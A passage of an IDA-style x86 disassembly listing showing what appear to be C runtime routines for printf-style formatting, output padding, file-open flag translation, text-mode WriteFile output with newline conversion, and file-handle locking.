jnz short loc_44AF31
test eax, eax
jz short loc_44AF64
loc_44AF31: ; CODE XREF: sub_44ABB1+37Aj
mov al, [ebp+arg_8]
cmp al, 78h
jz short loc_44AF3C
cmp al, 58h
jnz short loc_44AF64
loc_44AF3C: ; CODE XREF: sub_44ABB1+385j
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 30h
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov cl, [ebp+arg_8]
mov [eax+edx], cl
loc_44AF64: ; CODE XREF: sub_44ABB1+371j
; sub_44ABB1+37Ej ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
movzx eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44BF81
add esp, 8
jmp loc_44B2E3
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 4Ch
jnz short loc_44AFA3
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
fld qword ptr [ecx-8]
fstp [ebp+var_20]
jmp short loc_44AFB3
; ---------------------------------------------------------------------------
loc_44AFA3: ; CODE XREF: sub_44ABB1+3DEj
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
fld qword ptr [ecx-8]
fstp [ebp+var_20]
loc_44AFB3: ; CODE XREF: sub_44ABB1+3F0j
fld [ebp+var_20]
fstp qword ptr [eax]
mov eax, [ebp+arg_0]
push eax
call sub_44C1C1
pop ecx
cmp ax, 2
jz short loc_44B026
mov eax, [ebp+arg_0]
test word ptr [eax+6], 8000h
jz short loc_44AFE8
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Dh
jmp short loc_44B026
; ---------------------------------------------------------------------------
loc_44AFE8: ; CODE XREF: sub_44ABB1+420j
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 2
jz short loc_44B008
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Bh
jmp short loc_44B026
; ---------------------------------------------------------------------------
loc_44B008: ; CODE XREF: sub_44ABB1+440j
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 1
jz short loc_44B026
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 20h
loc_44B026: ; CODE XREF: sub_44ABB1+415j
; sub_44ABB1+435j ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
movzx eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44C1D1
add esp, 8
jmp loc_44B2E3
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+3Ah]
mov [ebp+var_24], eax
cmp eax, 68h
jz loc_44B133
cmp eax, 6Ah
jz short loc_44B0DB
cmp eax, 6Ch
jz loc_44B14E
jg short loc_44B078
cmp [ebp+var_24], 62h
jz short loc_44B09D
jmp loc_44B168
; ---------------------------------------------------------------------------
loc_44B078: ; CODE XREF: sub_44ABB1+4BAj
mov eax, [ebp+var_24]
cmp eax, 71h
jz short loc_44B0B7
cmp eax, 74h
jz short loc_44B0FF
cmp eax, 71h
jl loc_44B168
cmp [ebp+var_24], 7Ah
jz loc_44B119
jmp loc_44B168
; ---------------------------------------------------------------------------
loc_44B09D: ; CODE XREF: sub_44ABB1+4C0j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], al
jmp loc_44B2E3
; ---------------------------------------------------------------------------
loc_44B0B7: ; CODE XREF: sub_44ABB1+4CDj
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
mov edx, [ebp+arg_0]
mov edx, [edx+30h]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp loc_44B2E3
; ---------------------------------------------------------------------------
loc_44B0DB: ; CODE XREF: sub_44ABB1+4AFj
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
mov edx, [ebp+arg_0]
mov edx, [edx+30h]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp loc_44B2E3
; ---------------------------------------------------------------------------
loc_44B0FF: ; CODE XREF: sub_44ABB1+4D2j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_44B2E3
; ---------------------------------------------------------------------------
loc_44B119: ; CODE XREF: sub_44ABB1+4E1j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_44B2E3
; ---------------------------------------------------------------------------
loc_44B133: ; CODE XREF: sub_44ABB1+4A6j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], ax
jmp loc_44B2E3
; ---------------------------------------------------------------------------
loc_44B14E: ; CODE XREF: sub_44ABB1+4B4j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_44B2E3
; ---------------------------------------------------------------------------
loc_44B168: ; CODE XREF: sub_44ABB1+4C2j
; sub_44ABB1+4D7j ...
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov edx, [edx-4]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
mov [edx], eax
jmp loc_44B2E3
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [ebp+arg_0]
mov edx, [edx-4]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
xor ebx, ebx
mov [eax], ecx
mov [eax+4], ebx
mov edx, [ebp+arg_0]
mov dword ptr [edx+34h], 8
mov eax, [ebp+arg_0]
or word ptr [eax+38h], 10h
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
push 78h
mov eax, [ebp+arg_0]
push eax
call sub_44BF81
add esp, 8
jmp loc_44B2E3
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jz loc_44B280
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [ebp+var_2C], edx
mov [eax], edx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_2C]
mov eax, [eax-4]
mov [edx+10h], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 0
jnz short loc_44B219
mov edx, [ebp+arg_0]
mov dword ptr [edx+10h], offset dword_40FDC0
loc_44B219: ; CODE XREF: sub_44ABB1+65Cj
mov eax, [ebp+arg_0]
mov [ebp+var_38], eax
cmp dword ptr [eax+2Ch], 0
jge short loc_44B23A
mov edx, [ebp+arg_0]
mov edx, [edx+10h]
or eax, 0FFFFFFFFh
loc_44B22E: ; CODE XREF: sub_44ABB1+682j
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_44B22E
mov [ebp+var_30], eax
jmp short loc_44B275
; ---------------------------------------------------------------------------
loc_44B23A: ; CODE XREF: sub_44ABB1+672j
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
push edx
push 0
mov eax, [eax+10h]
push eax
call sub_449F21
add esp, 0Ch
mov [ebp+var_28], eax
test eax, eax
jz short loc_44B266
mov eax, [ebp+var_28]
mov edx, [ebp+arg_0]
mov edx, [edx+10h]
sub eax, edx
mov [ebp+var_34], eax
jmp short loc_44B26F
; ---------------------------------------------------------------------------
loc_44B266: ; CODE XREF: sub_44ABB1+6A3j
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+var_34], eax
loc_44B26F: ; CODE XREF: sub_44ABB1+6B3j
mov eax, [ebp+var_34]
mov [ebp+var_30], eax
loc_44B275: ; CODE XREF: sub_44ABB1+687j
mov eax, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+1Ch], eax
jmp short loc_44B2E3
; ---------------------------------------------------------------------------
loc_44B280: ; CODE XREF: sub_44ABB1+636j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44BE31
add esp, 8
test eax, eax
jge short loc_44B2E3
or eax, 0FFFFFFFFh
jmp short loc_44B2E5
; ---------------------------------------------------------------------------
loc_44B2A3: ; CODE XREF: sub_44ABB1+23j
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 25h
jmp short loc_44B2E3
; ---------------------------------------------------------------------------
loc_44B2B8: ; CODE XREF: sub_44ABB1+29j
; sub_44ABB1+3Aj ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
cmp [ebp+arg_8], 0
jz short loc_44B2D3
movzx eax, [ebp+arg_8]
mov [ebp+var_28], eax
jmp short loc_44B2DA
; ---------------------------------------------------------------------------
loc_44B2D3: ; CODE XREF: sub_44ABB1+717j
mov [ebp+var_28], 25h
loc_44B2DA: ; CODE XREF: sub_44ABB1+720j
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_28]
mov [eax+edx], cl
loc_44B2E3: ; CODE XREF: sub_44ABB1+84j
; sub_44ABB1+BDj ...
xor eax, eax
loc_44B2E5: ; CODE XREF: sub_44ABB1+C6j
; sub_44ABB1+6F0j
pop ebx
mov esp, ebp
pop ebp
retn
sub_44ABB1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44B2F1 proc near ; CODE XREF: sub_449761+25Ap
; sub_44BE31+D7p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov eax, [ebx+34h]
sub eax, [ebx+14h]
sub eax, [ebx+18h]
sub eax, [ebx+1Ch]
sub eax, [ebx+20h]
sub eax, [ebx+24h]
sub eax, [ebx+28h]
mov [ebp+var_4], eax
test word ptr [ebx+38h], 4
jnz short loc_44B370
cmp [ebp+var_4], 0
jle short loc_44B370
mov esi, [ebp+var_4]
jmp short loc_44B36C
; ---------------------------------------------------------------------------
loc_44B328: ; CODE XREF: sub_44B2F1+7Dj
cmp esi, 20h
jbe short loc_44B336
mov [ebp+var_8], 20h
jmp short loc_44B33B
; ---------------------------------------------------------------------------
loc_44B336: ; CODE XREF: sub_44B2F1+3Aj
mov eax, esi
mov [ebp+var_8], eax
loc_44B33B: ; CODE XREF: sub_44B2F1+43j
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_44B36A
push edi
push offset asc_40FDC8 ; " "
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44B362
add [ebx+30h], edi
jmp short loc_44B36A
; ---------------------------------------------------------------------------
loc_44B362: ; CODE XREF: sub_44B2F1+6Aj
or eax, 0FFFFFFFFh
jmp loc_44B558
; ---------------------------------------------------------------------------
loc_44B36A: ; CODE XREF: sub_44B2F1+51j
; sub_44B2F1+6Fj
sub esi, edi
loc_44B36C: ; CODE XREF: sub_44B2F1+35j
test esi, esi
jg short loc_44B328
loc_44B370: ; CODE XREF: sub_44B2F1+2Aj
; sub_44B2F1+30j
cmp dword ptr [ebx+14h], 0
jle short loc_44B3A1
mov eax, [ebx+14h]
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44B399
mov eax, [ebx+14h]
add [ebx+30h], eax
jmp short loc_44B3A1
; ---------------------------------------------------------------------------
loc_44B399: ; CODE XREF: sub_44B2F1+9Ej
or eax, 0FFFFFFFFh
jmp loc_44B558
; ---------------------------------------------------------------------------
loc_44B3A1: ; CODE XREF: sub_44B2F1+83j
; sub_44B2F1+A6j
cmp dword ptr [ebx+18h], 0
jle short loc_44B3F4
mov esi, [ebx+18h]
jmp short loc_44B3F0
; ---------------------------------------------------------------------------
loc_44B3AC: ; CODE XREF: sub_44B2F1+101j
cmp esi, 20h
jbe short loc_44B3BA
mov [ebp+var_8], 20h
jmp short loc_44B3BF
; ---------------------------------------------------------------------------
loc_44B3BA: ; CODE XREF: sub_44B2F1+BEj
mov eax, esi
mov [ebp+var_8], eax
loc_44B3BF: ; CODE XREF: sub_44B2F1+C7j
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_44B3EE
push edi
push offset a00000000000000 ; "00000000000000000000000000000000"
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44B3E6
add [ebx+30h], edi
jmp short loc_44B3EE
; ---------------------------------------------------------------------------
loc_44B3E6: ; CODE XREF: sub_44B2F1+EEj
or eax, 0FFFFFFFFh
jmp loc_44B558
; ---------------------------------------------------------------------------
loc_44B3EE: ; CODE XREF: sub_44B2F1+D5j
; sub_44B2F1+F3j
sub esi, edi
loc_44B3F0: ; CODE XREF: sub_44B2F1+B9j
test esi, esi
jg short loc_44B3AC
loc_44B3F4: ; CODE XREF: sub_44B2F1+B4j
cmp dword ptr [ebx+1Ch], 0
jle short loc_44B425
mov eax, [ebx+1Ch]
push eax
mov eax, [ebx+10h]
push eax
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44B41D
mov eax, [ebx+1Ch]
add [ebx+30h], eax
jmp short loc_44B425
; ---------------------------------------------------------------------------
loc_44B41D: ; CODE XREF: sub_44B2F1+122j
or eax, 0FFFFFFFFh
jmp loc_44B558
; ---------------------------------------------------------------------------
loc_44B425: ; CODE XREF: sub_44B2F1+107j
; sub_44B2F1+12Aj
cmp dword ptr [ebx+20h], 0
jle short loc_44B478
mov esi, [ebx+20h]
jmp short loc_44B474
; ---------------------------------------------------------------------------
loc_44B430: ; CODE XREF: sub_44B2F1+185j
cmp esi, 20h
jbe short loc_44B43E
mov [ebp+var_8], 20h
jmp short loc_44B443
; ---------------------------------------------------------------------------
loc_44B43E: ; CODE XREF: sub_44B2F1+142j
mov eax, esi
mov [ebp+var_8], eax
loc_44B443: ; CODE XREF: sub_44B2F1+14Bj
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_44B472
push edi
push offset a00000000000000 ; "00000000000000000000000000000000"
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44B46A
add [ebx+30h], edi
jmp short loc_44B472
; ---------------------------------------------------------------------------
loc_44B46A: ; CODE XREF: sub_44B2F1+172j
or eax, 0FFFFFFFFh
jmp loc_44B558
; ---------------------------------------------------------------------------
loc_44B472: ; CODE XREF: sub_44B2F1+159j
; sub_44B2F1+177j
sub esi, edi
loc_44B474: ; CODE XREF: sub_44B2F1+13Dj
test esi, esi
jg short loc_44B430
loc_44B478: ; CODE XREF: sub_44B2F1+138j
cmp dword ptr [ebx+24h], 0
jle short loc_44B4AE
mov eax, [ebx+24h]
push eax
mov eax, [ebx+1Ch]
mov edx, [ebx+10h]
add eax, edx
push eax
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44B4A6
mov eax, [ebx+24h]
add [ebx+30h], eax
jmp short loc_44B4AE
; ---------------------------------------------------------------------------
loc_44B4A6: ; CODE XREF: sub_44B2F1+1ABj
or eax, 0FFFFFFFFh
jmp loc_44B558
; ---------------------------------------------------------------------------
loc_44B4AE: ; CODE XREF: sub_44B2F1+18Bj
; sub_44B2F1+1B3j
cmp dword ptr [ebx+28h], 0
jle short loc_44B4FE
mov esi, [ebx+28h]
jmp short loc_44B4FA
; ---------------------------------------------------------------------------
loc_44B4B9: ; CODE XREF: sub_44B2F1+20Bj
cmp esi, 20h
jbe short loc_44B4C7
mov [ebp+var_8], 20h
jmp short loc_44B4CC
; ---------------------------------------------------------------------------
loc_44B4C7: ; CODE XREF: sub_44B2F1+1CBj
mov eax, esi
mov [ebp+var_8], eax
loc_44B4CC: ; CODE XREF: sub_44B2F1+1D4j
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_44B4F8
push edi
push offset a00000000000000 ; "00000000000000000000000000000000"
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44B4F3
add [ebx+30h], edi
jmp short loc_44B4F8
; ---------------------------------------------------------------------------
loc_44B4F3: ; CODE XREF: sub_44B2F1+1FBj
or eax, 0FFFFFFFFh
jmp short loc_44B558
; ---------------------------------------------------------------------------
loc_44B4F8: ; CODE XREF: sub_44B2F1+1E2j
; sub_44B2F1+200j
sub esi, edi
loc_44B4FA: ; CODE XREF: sub_44B2F1+1C6j
test esi, esi
jg short loc_44B4B9
loc_44B4FE: ; CODE XREF: sub_44B2F1+1C1j
test word ptr [ebx+38h], 4
jz short loc_44B556
cmp [ebp+var_4], 0
jle short loc_44B556
mov esi, [ebp+var_4]
jmp short loc_44B552
; ---------------------------------------------------------------------------
loc_44B511: ; CODE XREF: sub_44B2F1+263j
cmp esi, 20h
jbe short loc_44B51F
mov [ebp+var_8], 20h
jmp short loc_44B524
; ---------------------------------------------------------------------------
loc_44B51F: ; CODE XREF: sub_44B2F1+223j
mov eax, esi
mov [ebp+var_8], eax
loc_44B524: ; CODE XREF: sub_44B2F1+22Cj
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_44B550
push edi
push offset asc_40FDC8 ; " "
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44B54B
add [ebx+30h], edi
jmp short loc_44B550
; ---------------------------------------------------------------------------
loc_44B54B: ; CODE XREF: sub_44B2F1+253j
or eax, 0FFFFFFFFh
jmp short loc_44B558
; ---------------------------------------------------------------------------
loc_44B550: ; CODE XREF: sub_44B2F1+23Aj
; sub_44B2F1+258j
sub esi, edi
loc_44B552: ; CODE XREF: sub_44B2F1+21Ej
test esi, esi
jg short loc_44B511
loc_44B556: ; CODE XREF: sub_44B2F1+213j
; sub_44B2F1+219j
xor eax, eax
loc_44B558: ; CODE XREF: sub_44B2F1+74j
; sub_44B2F1+ABj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44B2F1 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44B561 proc near ; CODE XREF: sub_449AA1+101p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+arg_4]
mov eax, ebx
and eax, 3
mov esi, dword_40FE0C[eax*4]
test ebx, 4
jz short loc_44B580
or esi, 8
loc_44B580: ; CODE XREF: sub_44B561+1Aj
test ebx, 8
jz short loc_44B58E
or esi, 200h
loc_44B58E: ; CODE XREF: sub_44B561+25j
test ebx, 10h
jz short loc_44B59C
or esi, 100h
loc_44B59C: ; CODE XREF: sub_44B561+33j
test ebx, 20h
jz short loc_44B5AC
or esi, 8000h
jmp short loc_44B5B2
; ---------------------------------------------------------------------------
loc_44B5AC: ; CODE XREF: sub_44B561+41j
or esi, 4000h
loc_44B5B2: ; CODE XREF: sub_44B561+49j
push 180h
push esi
mov eax, [ebp+arg_0]
push eax
call sub_44C831
add esp, 0Ch
pop esi
pop ebx
pop ebp
retn
sub_44B561 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44B5D1 proc near ; CODE XREF: sub_449BF1+Dp
push 6
call sub_44CC41
pop ecx
push 1
call sub_448961
pop ecx
retn
sub_44B5D1 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44B5F1 proc near ; CODE XREF: sub_44B7E1+4Bp
; sub_44DBD1+ADp
var_411 = byte ptr -411h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
push ebx
push esi
push edi
mov [ebp+var_C], 0
mov [ebp+var_4], 0
cmp [ebp+arg_8], 0
jnz short loc_44B618
xor eax, eax
jmp loc_44B7DA
; ---------------------------------------------------------------------------
loc_44B618: ; CODE XREF: sub_44B5F1+1Ej
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
test byte ptr [eax+edx+4], 20h
jz short loc_44B644
push 2
push 0
mov eax, [ebp+arg_0]
push eax
call sub_44CD71
add esp, 0Ch
loc_44B644: ; CODE XREF: sub_44B5F1+41j
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
test byte ptr [eax+edx+4], 80h
jz loc_44B725
mov esi, [ebp+arg_4]
mov [ebp+var_10], 0
jmp loc_44B711
; ---------------------------------------------------------------------------
loc_44B673: ; CODE XREF: sub_44B5F1+12Cj
lea edi, [ebp+var_411]
jmp short loc_44B693
; ---------------------------------------------------------------------------
loc_44B67B: ; CODE XREF: sub_44B5F1+C0j
mov eax, esi
inc esi
mov bl, [eax]
cmp bl, 0Ah
jnz short loc_44B68E
inc [ebp+var_4]
mov eax, edi
inc edi
mov byte ptr [eax], 0Dh
loc_44B68E: ; CODE XREF: sub_44B5F1+92j
mov eax, edi
inc edi
mov [eax], bl
loc_44B693: ; CODE XREF: sub_44B5F1+88j
lea eax, [ebp+var_411]
mov edx, edi
sub edx, eax
cmp edx, 400h
jge short loc_44B6B3
mov eax, [ebp+arg_4]
mov edx, esi
sub edx, eax
mov eax, edx
cmp eax, [ebp+arg_8]
jb short loc_44B67B
loc_44B6B3: ; CODE XREF: sub_44B5F1+B2j
push 0
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_411]
mov edx, edi
sub edx, eax
mov eax, edx
push eax
lea eax, [ebp+var_411]
push eax
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
mov eax, [eax+edx]
push eax
call dword_411E08 ; WriteFile
test eax, eax
jz short loc_44B706
mov eax, [ebp+var_8]
add [ebp+var_C], eax
lea edx, [ebp+var_411]
mov ecx, edi
sub ecx, edx
cmp eax, ecx
jge short loc_44B711
jmp short loc_44B76E
; ---------------------------------------------------------------------------
loc_44B706: ; CODE XREF: sub_44B5F1+FDj
call dword_411CE8 ; RtlGetLastWin32Error
mov [ebp+var_10], eax
jmp short loc_44B76E
; ---------------------------------------------------------------------------
loc_44B711: ; CODE XREF: sub_44B5F1+7Dj
; sub_44B5F1+111j
mov eax, [ebp+arg_4]
mov edx, esi
sub edx, eax
mov eax, edx
cmp eax, [ebp+arg_8]
jb loc_44B673
jmp short loc_44B76E
; ---------------------------------------------------------------------------
loc_44B725: ; CODE XREF: sub_44B5F1+6Dj
push 0
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
mov eax, [eax+edx]
push eax
call dword_411E08 ; WriteFile
test eax, eax
jz short loc_44B765
mov [ebp+var_10], 0
mov eax, [ebp+var_8]
mov [ebp+var_C], eax
jmp short loc_44B76E
; ---------------------------------------------------------------------------
loc_44B765: ; CODE XREF: sub_44B5F1+163j
call dword_411CE8 ; RtlGetLastWin32Error
mov [ebp+var_10], eax
loc_44B76E: ; CODE XREF: sub_44B5F1+113j
; sub_44B5F1+11Ej ...
cmp [ebp+var_C], 0
jnz short loc_44B7D4
cmp [ebp+var_10], 0
jz short loc_44B79C
cmp [ebp+var_10], 5
jnz short loc_44B78D
call sub_449321
mov dword ptr [eax], 9
jmp short loc_44B797
; ---------------------------------------------------------------------------
loc_44B78D: ; CODE XREF: sub_44B5F1+18Dj
mov eax, [ebp+var_10]
push eax
call sub_4491C1
pop ecx
loc_44B797: ; CODE XREF: sub_44B5F1+19Aj
or eax, 0FFFFFFFFh
jmp short loc_44B7DA
; ---------------------------------------------------------------------------
loc_44B79C: ; CODE XREF: sub_44B5F1+187j
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
test byte ptr [eax+edx+4], 40h
jz short loc_44B7C4
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jnz short loc_44B7C4
xor eax, eax
jmp short loc_44B7DA
; ---------------------------------------------------------------------------
loc_44B7C4: ; CODE XREF: sub_44B5F1+1C5j
; sub_44B5F1+1CDj
call sub_449321
mov dword ptr [eax], 1Ch
or eax, 0FFFFFFFFh
jmp short loc_44B7DA
; ---------------------------------------------------------------------------
loc_44B7D4: ; CODE XREF: sub_44B5F1+181j
mov eax, [ebp+var_C]
sub eax, [ebp+var_4]
loc_44B7DA: ; CODE XREF: sub_44B5F1+22j
; sub_44B5F1+1A9j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44B5F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44B7E1 proc near ; CODE XREF: sub_449C21+79p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+arg_0]
cmp ebx, dword_413A88
jnb short loc_44B80C
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_44B81C
loc_44B80C: ; CODE XREF: sub_44B7E1+Ej
call sub_449321
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_44B83F
; ---------------------------------------------------------------------------
loc_44B81C: ; CODE XREF: sub_44B7E1+29j
push ebx
call sub_44BC01
pop ecx
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_4]
push eax
push ebx
call sub_44B5F1
add esp, 0Ch
mov esi, eax
push ebx
call sub_44BC61
pop ecx
mov eax, esi
loc_44B83F: ; CODE XREF: sub_44B7E1+39j
pop esi
pop ebx
pop ebp
retn
sub_44B7E1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44B851 proc near ; CODE XREF: DMN1:loc_44BBABp
; sub_44C861:loc_44CA5Ep
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
or edi, 0FFFFFFFFh
push 4
call sub_4496C1
pop ecx
xor esi, esi
loc_44B867: ; CODE XREF: sub_44B851+128j
cmp dword_413988[esi*4], 0
jz loc_44B91E
mov ebx, dword_413988[esi*4]
jmp loc_44B903
; ---------------------------------------------------------------------------
loc_44B881: ; CODE XREF: sub_44B851+C0j
test byte ptr [ebx+4], 1
jnz short loc_44B900
cmp dword ptr [ebx+8], 0
jnz short loc_44B8B0
push 3
call sub_4496C1
pop ecx
cmp dword ptr [ebx+8], 0
jnz short loc_44B8A8
lea eax, [ebx+0Ch]
push eax
call dword_411CC8 ; InitializeCriticalSection
inc dword ptr [ebx+8]
loc_44B8A8: ; CODE XREF: sub_44B851+48j
push 3
call sub_449741
pop ecx
loc_44B8B0: ; CODE XREF: sub_44B851+3Aj
lea eax, [ebx+0Ch]
push eax
call dword_411CCC ; RtlEnterCriticalSection
test byte ptr [ebx+4], 1
jz short loc_44B8CC
lea eax, [ebx+0Ch]
push eax
call dword_411CD0 ; RtlLeaveCriticalSection
jmp short loc_44B900
; ---------------------------------------------------------------------------
